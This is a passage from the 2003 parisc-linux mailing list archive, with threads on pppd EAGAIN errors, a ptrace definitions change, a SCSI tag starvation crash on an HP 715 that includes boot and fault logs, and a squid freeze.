> > Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily unavailable
> 
> this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
> to probably fix this in glibc.... let's add it to Carlos' todo list! :-)

It's already in my TODO :)

-- snip --
- EWOULDBLOCK emulation
        = Is EWOULDBLOCK emulation required?
        = What happens if we alias EWOULDBLOCK as EAGAIN
        = from the kernel hearders?
        - Break HPUX compat?
-- snip --

As JDA notes we still have broken atomic functions in atomicity. Which
we are planning to fix with a light weight syscall.

c.


From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 jejb
Date: 10 Feb 2003 18:58:22 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <1044925103.1774.331.camel@mulgrave>
References: <20030211004917.33A12482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622209 21732 80.91.229.3 (22 Nov 2014 02:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:09 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 17:58:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA217482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 17:58:35 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id QAA05250
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 16:58:25 -0800
Original-Received: from mulgrave-w.il.steeleye.com (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id QAA05161;
	Mon, 10 Feb 2003 16:58:22 -0800
In-Reply-To: <20030211004917.33A12482E@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17693

On Mon, 2003-02-10 at 18:49, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	jejb	03/02/10 17:49:17
> 
> Modified files:
> 	arch/parisc/kernel: init_task.c signal.c 
> 	include/asm-parisc: ptrace.h 
> 
> Log message:
> Update for new kernel signal/sigaction split to replace sig

I should add a warning here that doing this has eliminated the pa-risc
private PTRACE_SETSIGINFO and PTRACE_GETSIGINFO definitions in favour of
the newly minted global kernel ones in linux/ptrace.h

Unfortunately, the values have changed, so some user space tracing tools
that relied on these may have to change.

I think they were unused previously, so all may be well, but someone who
knows this area should check.

James




From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Tue, 11 Feb 2003 07:30:31 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <3E481EBE00000086@ocpmta3.freegates.net>
References: <20030210194650.GG6139@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622210 21737 80.91.229.3 (22 Nov 2014 02:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 23:30:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19F30482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 23:30:40 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iTwC-0002cc-00; Tue, 11 Feb 2003 07:30:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Feb 2003 07:30:31 +0100
In-Reply-To: <20030210194650.GG6139@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17694

Carlos,

>
>On Mon, Feb 10, 2003 at 08:13:04AM -0800, Randolph Chung wrote:
>> > All seems to work fine, never the less I notice some pppd messages which
>> > I do not noticed on my i386 Debian GNU/Linux box:
>> > ...
>> > Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
>> > Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily
>unavailable
>> 
>> this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
>> to probably fix this in glibc.... let's add it to Carlos' todo list! :-)
>
>It's already in my TODO :)
>
>-- snip --
>- EWOULDBLOCK emulation
>        = Is EWOULDBLOCK emulation required?
>        = What happens if we alias EWOULDBLOCK as EAGAIN
>        = from the kernel hearders?
>        - Break HPUX compat?
>-- snip --
>
>As JDA notes we still have broken atomic functions in atomicity. Which
>we are planning to fix with a light weight syscall.
>
Thanks for advises,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tag Starvation on 715/100
Date: Tue, 11 Feb 2003 17:21:10 +0100
Lines: 325
Approved: news@gmane.org
Message-ID: <3E4922F6.8020206@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060706060206080300040804"
X-Trace: ger.gmane.org 1416622210 21741 80.91.229.3 (22 Nov 2014 02:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 09:20:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (unknown [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id B2071482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 09:20:17 -0700 (MST)
Original-Received: (qmail 17186 invoked from network); 11 Feb 2003 16:20:12 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.20)
  by mail.medianet-world.de with SMTP; 11 Feb 2003 16:20:12 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2.1) Gecko/20021130
X-Accept-Language: de-de, de, en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17695

This is a multi-part message in MIME format.
--------------060706060206080300040804
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit

Hi,

today my machine hangs when I tried to do a 'cvs update' for the newest 
PA/RISC-Kernel. So I pressed the power button to reboot the machine. But 
now during startup when fsck is running, the scsi-driver gives me an 
error message, that my harddisc is "suffering from tag starvation". 
Later the machine crashes. 
Booting  a 2.5.59-kernel is no problem (even it's not possible to login 
on serial console... ).

Has anybody the same problem and/or can anybody help?

Facts: 715/100, 128 MB, 2 GB Seagate, Kernel 2.4.20-pa22, gcc-3.0.4, 
Debian testing.
System.map is here: 
http://homepages.tu-darmstadt.de/~rscholz/parisc/System.map 
<http://homepages.tu-darmstadt.de/%7Erscholz/parisc/System.map>

TIA, Rdiger


--------------060706060206080300040804
Content-Type: text/plain;
 name="CAPTURE.TXT"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="CAPTURE.TXT"



----------------------------------------------------------------------------
BootRom Version    1.6  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri ipl
 


Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type

1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
 
PALO(F0) partition contains:
    0/vmlinux32 3223985 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux
 1: root=/dev/sda4
 2: HOME=/
 3: devfs=mount
 4: console=ttyS0
 5: TERM=vt102

Edit which field?

(or 'b' to boot with this command line)?

Command line for kernel: 'root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 2100772 mediaptr 0x1000
Segment 1 load 00302000 size 467584 mediaptr 0x202000
Segment 2 load 00378000 size 286720 mediaptr 0x275000
Segment 3 load 003c0000 size 32768 mediaptr 0x2bb000
Segment 4 load 003e9fac size 107760 mediaptr 0x2c3fac
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.20-pa22 (ruediger@gandalf) (gcc version 3.0.4) #2 Don Jan 23 15:44:27 CET 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126348k available
Dentry cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Memory (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Gecko-style soft power switch enabled.
Starting kswapd
Journalled Block Device driver loaded
devfs: v1.12c (20020818) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
STI word mode ROM at f0024000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
fb1: stifb 1024x768-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.30 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 /dev/scsi/host0/bus0/target3/lun0: p1 p2 p3 p4
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 18 at 0xf0104000, IRQ 82
mice: PS/2 mouse device common for all mice
HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :    70.000 MB/sec
   8regs_prefetch:    70.000 MB/sec
   32regs    :   111.200 MB/sec
   32regs_prefetch:   111.600 MB/sec
raid5: using function: 32regs_prefetch (111.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
md: Autodetecting RAID arrays.
HP SDC: Transaction add failed: transaction already queued?
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
HP SDC: Transaction add failed: transaction already queued?
HP SDC: read timeout (949695us)!
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
scsi0 (3:0) Target is suffering from tag starvation.
scsi0 (3:0) New error handler wants to abort command
	0x2a 00 00 32 1b c8 00 00 08 00 
scsi0 (3:0) New error handler wants to abort command
	0x00 00 00 00 00 00 
scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp 000f04a8[04a8]
 failing command because of reset, slot 00010520, cmnd 100db400
 failing command because of reset, slot 00010654, cmnd 100db800
 failing command because of reset, slot 00010788, cmnd 100db600
 failing command because of reset, slot 000108bc, cmnd 100dc200
 failing command because of reset, slot 000109f0, cmnd 100db000
 failing command because of reset, slot 00010b24, cmnd 100dca00
 failing command because of reset, slot 00010c58, cmnd 100db200
 failing command because of reset, slot 00010d8c, cmnd 100eec00
 failing command because of reset, slot 00010ec0, cmnd 100dc800
 failing command because of reset, slot 00011128, cmnd 100dc400
 failing command because of reset, slot 0001125c, cmnd 100db800
 failing command because of reset, slot 000114c4, cmnd 100eee00
 failing command because of reset, slot 000115f8, cmnd 100dce00
 failing command because of reset, slot 0001172c, cmnd 100eea00
scsi0 (3:0) New error handler wants to abort command
	0x2a 00 00 32 37 38 00 00 08 00 

Stack Dump:
 100f8680:  0004ff0e 00002002 00000000 0000ffff 
 100f8670:  1003c960 1022019c 100f8654 100f8654 
 100f8660:  00000000 102e6044 00000001 00000001 
 100f8650:  00001ffb 10587e40 10205d64 00002003 
 100f8640:  0000000f 00000000 00000000 00000000 
 100f8630:  00000000 10205d64 00000000 00000001 

Kernel addresses on the stack:
 [<1022019c>]  [<10205d64>]  [<10205d64>]  [<10206b34>] 
 [<10206d94>]  [<10107c4c>]  [<10107cf4>]  [<1010521c>] 
 [<1025e33c>]  [<101626e4>]  [<10121e38>]  [<10204a0c>] 
 [<10162930>]  [<10204a0c>]  [<10204c1c>]  [<10206c40>] 
 [<101205b8>] 

Kernel Fault: Code=26 regs=100f8680 (Addr=00000048)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 103cee41 1022019c 100db600
r04-07  10583014 00002002 00000000 0000ffff
r08-11  1003c960 00002001 10312810 10315810
r12-15  00000000 10587e40 00000001 f0000704
r16-19  f000b858 00000002 00000000 00000005
r20-23  00000000 000108bc 00000003 00000000
r24-27  00000001 00000001 10315b60 10302010
r28-31  00000001 00001ffc 100f8680 1011c9a4
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102201d4 102201d8
 IIR: 4a930090    ISR: 00000000  IOR: 00000048
 CPU:        0   CR30: 100f8000 CR31: 103c0000
 ORIG_R28: 6f707172

--------------060706060206080300040804--



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Squid freeze
Date: Tue, 11 Feb 2003 17:38:24 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <yam9172.1240.149231680@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622210 21749 80.91.229.3 (22 Nov 2014 02:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 09:37:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-2m.club-internet.fr (relay-2m.club-internet.fr [194.158.104.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98967482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 09:37:43 -0700 (MST)
Original-Received: from club-internet.fr (f14m-5-74.d1.club-internet.fr [212.195.92.74])
	by relay-2m.club-internet.fr (Postfix) with SMTP id 764CF1820
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 17:37:41 +0100 (CET)
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17696

Hi,

I've tried to run squid on my PA box under Debian 3.0. But squid freeze
at launch : it do nothing, it is simply frozen, it is not possible to parse
any line command (squid -v print nothing).

I did a dist-upgrade but nothing change. So I get the lastest version
of squid 2.5 and compiled it. Same symptom, squid is frozen. I did a
little modification to src/main.c in squid, in the main() function : I
took mainParseOptions() and put it in first of main() (it was executed
later after several others miscellaneous functions).

Now squid work perfectly. I suspect a bug in gcc, what do you think
about ?
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Squid freeze
Date: Tue, 11 Feb 2003 11:56:39 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200302111656.h1BGudvD012174@hiauly1.hia.nrc.ca>
References: <yam9172.1240.149231680@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622211 21752 80.91.229.3 (22 Nov 2014 02:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: badmax@club-internet.fr (Bad Max)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 09:56:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E593482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 09:56:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1BGueot012178;
	Tue, 11 Feb 2003 11:56:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1BGudvD012174;
	Tue, 11 Feb 2003 11:56:39 -0500 (EST)
In-Reply-To: <yam9172.1240.149231680@mail.club-internet.fr> from "Bad Max" at Feb 11, 2003 05:38:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
